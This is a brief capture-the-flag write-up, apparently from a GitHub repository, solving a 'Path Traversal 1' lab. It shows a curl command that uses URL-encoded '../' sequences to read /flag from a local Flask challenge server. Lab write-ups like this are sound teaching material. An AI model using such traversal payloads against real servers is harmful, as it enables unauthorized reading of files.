Skip to content

Latest commit

 

History

History
16 lines (11 loc) · 352 Bytes

Path Traversal 1.md

File metadata and controls

16 lines (11 loc) · 352 Bytes

Path Traversal 1

cat /challenge/server

The server is a Flask app that, on receiving requests at /package/<path>, serves the file at /challenge/files/path We know that the flag is at /flag

Start the server and use curl:

curl -v http://challenge.localhost:80/package/..%2F..%2Fflag

"..%2F" is URL-encoding of "../"